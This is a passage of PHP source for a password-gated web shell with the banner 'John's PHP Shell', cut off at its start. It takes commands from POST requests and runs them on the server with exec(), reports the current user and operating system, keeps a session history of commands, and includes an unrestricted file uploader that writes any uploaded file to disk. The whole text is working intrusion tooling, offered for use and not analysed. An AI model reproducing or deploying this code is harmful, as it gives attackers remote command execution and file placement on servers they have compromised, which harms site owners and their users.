$persist) { if ($persist) { $current_command = $_SESSION['commands'][$index]; if ($current_command != '') { $previous_commands .= $current_command . '; '; } } } if (isset($_POST['command'])) { $command = $_POST['command']; if ( ! isset($_SESSION['logged_in'])) { if ($command == $password) { $_SESSION['logged_in'] = TRUE; $response = array('Welcome, ' . str_replace("\n", '', `whoami`) . '!!'); } else { $response = array('Incorrect Password'); } array_push($_SESSION['persist_commands'], FALSE); array_push($_SESSION['commands'], 'Password: '); array_push($_SESSION['command_responses'], $response); } else { if ($command != '' AND ! $toggling_persist) { if ($command == 'logout') { session_unset(); $response = array('Successfully Logged Out'); } elseif ($command == 'clear') { clear_command(); } else { exec($previous_commands . $command . ' 2>&1', $response, $error_code); if ($error_code > 0 AND $response == array()) { $response = array('Error'); } } } else { $response = array(); } if ($command != 'logout' AND $command != 'clear') { if ($toggling_persist) { if ($toggling_current_persist_command) { array_push($_SESSION['persist_commands'], TRUE); array_push($_SESSION['commands'], $command); array_push($_SESSION['command_responses'], $response); if ($command != '') { $previous_commands = $previous_commands . $command . '; '; } } } else { array_push($_SESSION['persist_commands'], FALSE); array_push($_SESSION['commands'], $command); array_push($_SESSION['command_responses'], $response); } } } } function clear_command() { if (isset($_SESSION['logged_in'])) { $logged_in = TRUE; } else { $logged_in = FALSE; } session_unset(); if ($logged_in) { $_SESSION['logged_in'] = TRUE; } } ?> ~/Shell
      _           _               _           ____    _   _   ____      ____    _              _   _ 
     | |   ___   | |__    _ __   ( )  ___    |  _ \  | | | | |  _ \    / ___|  | |__     ___  | | | |
  _  | |  / _ \  | '_ \  | '_ \  |/  / __|   | |_) | | |_| | | |_) |   \___ \  | '_ \   / _ \ | | | |
 | |_| | | (_) | | | | | | | | |     \__ \   |  __/  |  _  | |  __/     ___) | | | | | |  __/ | | | |
  \___/   \___/  |_| |_| |_| |_|     |___/   |_|     |_| |_| |_|       |____/  |_| |_|  \___| |_| |_|
                                                                                                     
OS: '.php_uname().''; ?>
$command) { ?>
$ Password:
'; if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $mode = '0644'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if(isset($_FILES['image']['name'])) { $qx = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $qx); @chmod ($qx, octdec($mode)); echo'Done! ==> '.$userfile_name.''; } } else{ echo'
'; } echo ''; ?>